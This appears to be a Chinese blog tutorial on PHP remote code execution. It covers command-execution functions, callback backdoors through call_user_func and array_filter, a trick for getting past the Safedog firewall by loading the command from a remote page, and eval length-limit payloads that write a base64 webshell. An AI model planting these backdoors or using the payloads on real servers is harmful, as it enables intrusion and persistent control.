RCE漏洞基础初了解

发布于:2024-08-12 ⋅ 阅读:(123) ⋅ 点赞:(0)

目录

一、简介

二、php的命令执行函数

2.1 exec

2.2 passthru

2.3 shell_exec

2.4 popen

三、代码执行

3.1 php的回调后门

3.1.1 回调后门的老祖宗

3.1.2 数组造成单参数回调后门

3.1.3 绕过安全狗

​编辑 四、来看看php中webshell奇淫技巧

4.1eval长度限制突破方法

4.1.1 开胃菜

4.1.2 拼接

4.1.3 变长参数


一、简介

所谓rce简单来说就是可以执行系统命令的函数,举个例子

<?php
system('whoami');

二、php的命令执行函数

PHP: exec - Manual

2.1 exec

<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

2.2 passthru

<?php
passthru("whoami");
?>

2.3 shell_exec

<?php
$output = shell_exec('whoami');
echo "<pre>$output</pre>";
?>

2.4 popen

pass:linux有0,1,2三个选项(标准输入,标准输出,错误输出)

<?php
error_reporting(E_ALL);

/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('whoami', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

三、代码执行

3.1 php的回调后门

3.1.1 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

call_user_func_array('assert', array($_REQUEST['pass']));

3.1.2 数组造成单参数回调后门

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

调用

3.1.3 绕过安全狗

demo.php:

<?php
get_meta_tags("http://192.168.46.129/demo.html")["author"](get_meta_tags("http://192.168.46.129/demo.html")["keywords"]);

demo.html: 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
</html>

自然绕过了安全狗的拦截

正常的回调后门会触发安全狗的机制

 四、来看看php中webshell奇淫技巧

4.1eval长度限制突破方法

4.1.1 开胃菜

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

长度限制为17为

那是不是直接执行就可以呢?我的phpinfo()也才十位,但是我们是不是只能执行phpinfo()了,怎么突破

代码执行转命令执行

param=echo `$_GET[1]`;&1=id

 

4.1.2 拼接

file_put_contents&param=$_GET[1](N,P,8);

拼接一个webshell文件(以Base64形式)在linux中 、

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

4.1.3 变长参数

PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行

php可变长参数三个点

1[]=test&1[]=phpinfo();&2=assert

抓个包看看


网站公告

今日签到

点亮在社区的每一天
去签到